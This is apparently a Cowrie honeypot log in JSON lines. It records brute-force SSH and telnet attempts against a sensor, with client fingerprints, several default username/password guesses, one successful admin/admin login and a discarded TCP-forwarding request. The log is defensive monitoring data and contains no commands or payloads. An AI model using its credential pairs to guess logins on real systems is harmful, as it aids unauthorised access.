{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:41.148476Z","src_ip":"122.168.194.41","session":"4c701a8d42bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmod","password":"gmodserver","message":"login attempt [gmod/gmodserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:42.597974Z","src_ip":"122.168.194.41","session":"4c701a8d42bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45342,"dst_ip":"159.203.135.109","dst_port":23,"session":"06e46c906ad8","protocol":"telnet","message":"New connection: 128.199.8.54:45342 (159.203.135.109:23) [session: 06e46c906ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:43.814815Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:43.933802Z","src_ip":"122.168.194.41","session":"4c701a8d42bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53498,"dst_ip":"159.203.135.109","dst_port":22,"session":"26e0c05a5c48","protocol":"ssh","message":"New connection: 80.94.92.186:53498 (159.203.135.109:22) [session: 26e0c05a5c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:46.332906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:46.497519Z","src_ip":"80.94.92.186","session":"26e0c05a5c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:46.500975Z","src_ip":"80.94.92.186","session":"26e0c05a5c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54082,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccfde05ac81c","protocol":"telnet","message":"New connection: 128.199.8.54:54082 (159.203.135.109:23) [session: ccfde05ac81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:47.236315Z"}
{"eventid":"cowrie.session.closed","duration":31.129245042800903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:47.444668Z","src_ip":"45.148.121.166","session":"739caed40792","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:47.569533Z","src_ip":"80.94.92.186","session":"26e0c05a5c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56008,"dst_ip":"159.203.135.109","dst_port":23,"session":"d738df352a7e","protocol":"telnet","message":"New connection: 128.199.8.54:56008 (159.203.135.109:23) [session: d738df352a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:48.264400Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:48.805779Z","src_ip":"80.94.92.186","session":"26e0c05a5c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33496,"dst_ip":"159.203.135.109","dst_port":23,"session":"4365056581d8","protocol":"telnet","message":"New connection: 45.148.121.166:33496 (159.203.135.109:23) [session: 4365056581d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:50.747771Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44636,"dst_ip":"159.203.135.109","dst_port":23,"session":"78e42e40a9a7","protocol":"telnet","message":"New connection: 128.199.8.54:44636 (159.203.135.109:23) [session: 78e42e40a9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:59.722100Z"}
{"eventid":"cowrie.session.closed","duration":33.53799271583557,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:01.339057Z","src_ip":"128.199.8.54","session":"97e8634fb343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.12784767150879,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:04.917685Z","src_ip":"128.199.8.54","session":"3d0777bc0d15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697693586349487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:05.051681Z","src_ip":"45.148.121.166","session":"870f4c868798","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909552574157715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:06.107797Z","src_ip":"45.148.121.166","session":"fc5931c3ad7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.52602958679199,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:06.627762Z","src_ip":"128.199.8.54","session":"bee1eb27abe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.90751886367798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:06.874286Z","src_ip":"45.148.121.166","session":"33a5733139ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09920048713684,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:13.303748Z","src_ip":"128.199.8.54","session":"a0421ceb3adc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59752,"dst_ip":"159.203.135.109","dst_port":23,"session":"43e75486f93a","protocol":"telnet","message":"New connection: 128.199.8.54:59752 (159.203.135.109:23) [session: 43e75486f93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:17.195007Z"}
{"eventid":"cowrie.session.closed","duration":34.761937856674194,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:18.576620Z","src_ip":"128.199.8.54","session":"06e46c906ad8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38704,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa618ea9ed4","protocol":"telnet","message":"New connection: 128.199.8.54:38704 (159.203.135.109:23) [session: 4fa618ea9ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:20.803412Z"}
{"eventid":"cowrie.session.closed","duration":33.75156903266907,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:20.987730Z","src_ip":"128.199.8.54","session":"ccfde05ac81c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.170864582061768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:21.918520Z","src_ip":"45.148.121.166","session":"4365056581d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04636478424072,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:22.310667Z","src_ip":"128.199.8.54","session":"d738df352a7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25520,"dst_ip":"10.17.0.5","dst_port":22,"session":"b556d73feefe","protocol":"ssh","message":"New connection: 87.251.64.176:25520 (10.17.0.5:22) [session: b556d73feefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:32.145500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:32.149995Z","src_ip":"87.251.64.176","session":"b556d73feefe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:32.255237Z","src_ip":"87.251.64.176","session":"b556d73feefe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:32.549493Z","src_ip":"87.251.64.176","session":"b556d73feefe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:32.647984Z","session":"b556d73feefe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:32.747757Z","src_ip":"87.251.64.176","session":"b556d73feefe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:32.849674Z","src_ip":"87.251.64.176","session":"b556d73feefe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.447312116622925,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:33.169332Z","src_ip":"128.199.8.54","session":"78e42e40a9a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":56972,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a721922b69b","protocol":"telnet","message":"New connection: 45.148.121.166:56972 (159.203.135.109:23) [session: 9a721922b69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:38.494261Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":54480,"dst_ip":"159.203.135.109","dst_port":23,"session":"6421ee4693be","protocol":"telnet","message":"New connection: 45.148.121.166:54480 (159.203.135.109:23) [session: 6421ee4693be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:45.407885Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":54494,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e4e30f7ed1f","protocol":"telnet","message":"New connection: 45.148.121.166:54494 (159.203.135.109:23) [session: 9e4e30f7ed1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:48.381070Z"}
{"eventid":"cowrie.session.closed","duration":33.981484174728394,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:51.176356Z","src_ip":"128.199.8.54","session":"43e75486f93a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52626,"dst_ip":"159.203.135.109","dst_port":23,"session":"16754b46905d","protocol":"telnet","message":"New connection: 128.199.8.54:52626 (159.203.135.109:23) [session: 16754b46905d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:53.871037Z"}
{"eventid":"cowrie.session.closed","duration":33.7894868850708,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:21:54.592804Z","src_ip":"128.199.8.54","session":"4fa618ea9ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.247","src_port":40086,"dst_ip":"10.17.0.5","dst_port":22,"session":"94cc7d4a6176","protocol":"ssh","message":"New connection: 78.111.67.247:40086 (10.17.0.5:22) [session: 94cc7d4a6176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:02.735099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:02.739934Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:02.831502Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:d7:f2:3c:f5:b2:f6:f5:88:7b:63:66:71:71:34:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2Qrl/XKShiHqM0V5ztmqusY3jzxgw4B65K5eLVee5HfZbtzOyuv+iWiJI4X5lGJuvPbV+gWSqOvo0+T2wEUcWLD0IkMTcWiMTyY/dDb/kxrpwIDvqwuZ0EZKY/VJrgfD6TVur8cwINMSlgZd0zkumjPRKlDTpMEWPoxwFBX2T1mYsmuq2mL/Vsery/tK0UsANzyWeWi51Q9ro2C16f7i9j/RwC3B97motFSw4rgS9BoDO93hMjHVQ+6UweL19zxGbHZmS5j+4uBo8OR/IVtNs7ngy1eUAztxXbnv8ld7BKxbfKJ/9Ag4SMzJekqw23+krtak0Nrbi2fqpBzH32Cmf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:d7:f2:3c:f5:b2:f6:f5:88:7b:63:66:71:71:34:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.263228Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:d7:f2:3c:f5:b2:f6:f5:88:7b:63:66:71:71:34:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2Qrl/XKShiHqM0V5ztmqusY3jzxgw4B65K5eLVee5HfZbtzOyuv+iWiJI4X5lGJuvPbV+gWSqOvo0+T2wEUcWLD0IkMTcWiMTyY/dDb/kxrpwIDvqwuZ0EZKY/VJrgfD6TVur8cwINMSlgZd0zkumjPRKlDTpMEWPoxwFBX2T1mYsmuq2mL/Vsery/tK0UsANzyWeWi51Q9ro2C16f7i9j/RwC3B97motFSw4rgS9BoDO93hMjHVQ+6UweL19zxGbHZmS5j+4uBo8OR/IVtNs7ngy1eUAztxXbnv8ld7BKxbfKJ/9Ag4SMzJekqw23+krtak0Nrbi2fqpBzH32Cmf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.267431Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:3c:6d:3c:a8:81:30:fa:4f:04:0a:a6:33:e2:e3:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEQZhc7e+SVru8yYYj2eXPU+pBVv7lC7GO3i4a/SE+MOnMBerMrgbyPDapDDtfB38SQcV47DATSz5J8s4Hgpbw6fYK2VhKZTkpoL1wjpIXlAZ3ojGpmIbDGWESQ6b4wqPTavU8yOvv+kqNOcEUQLw552jiZWkaLWsKCpX+rgJQCW92Vrp6MPT7jkC4VCsXe23B1aaAuL2MHMKmoGJSLFh3plgNYsjOMfByrTHKKxJHW3KEGxzg36kU+Kk6LsoecP4lIcqEyo6brvoZ6cEEsLI+Ta2yyUxKhnKOZTRR0ahTdQpxXS3dVkXsohMQQqDk7QNUhegnf6x57N3f4gzwd2VJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:3c:6d:3c:a8:81:30:fa:4f:04:0a:a6:33:e2:e3:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.358556Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:3c:6d:3c:a8:81:30:fa:4f:04:0a:a6:33:e2:e3:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEQZhc7e+SVru8yYYj2eXPU+pBVv7lC7GO3i4a/SE+MOnMBerMrgbyPDapDDtfB38SQcV47DATSz5J8s4Hgpbw6fYK2VhKZTkpoL1wjpIXlAZ3ojGpmIbDGWESQ6b4wqPTavU8yOvv+kqNOcEUQLw552jiZWkaLWsKCpX+rgJQCW92Vrp6MPT7jkC4VCsXe23B1aaAuL2MHMKmoGJSLFh3plgNYsjOMfByrTHKKxJHW3KEGxzg36kU+Kk6LsoecP4lIcqEyo6brvoZ6cEEsLI+Ta2yyUxKhnKOZTRR0ahTdQpxXS3dVkXsohMQQqDk7QNUhegnf6x57N3f4gzwd2VJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.362641Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
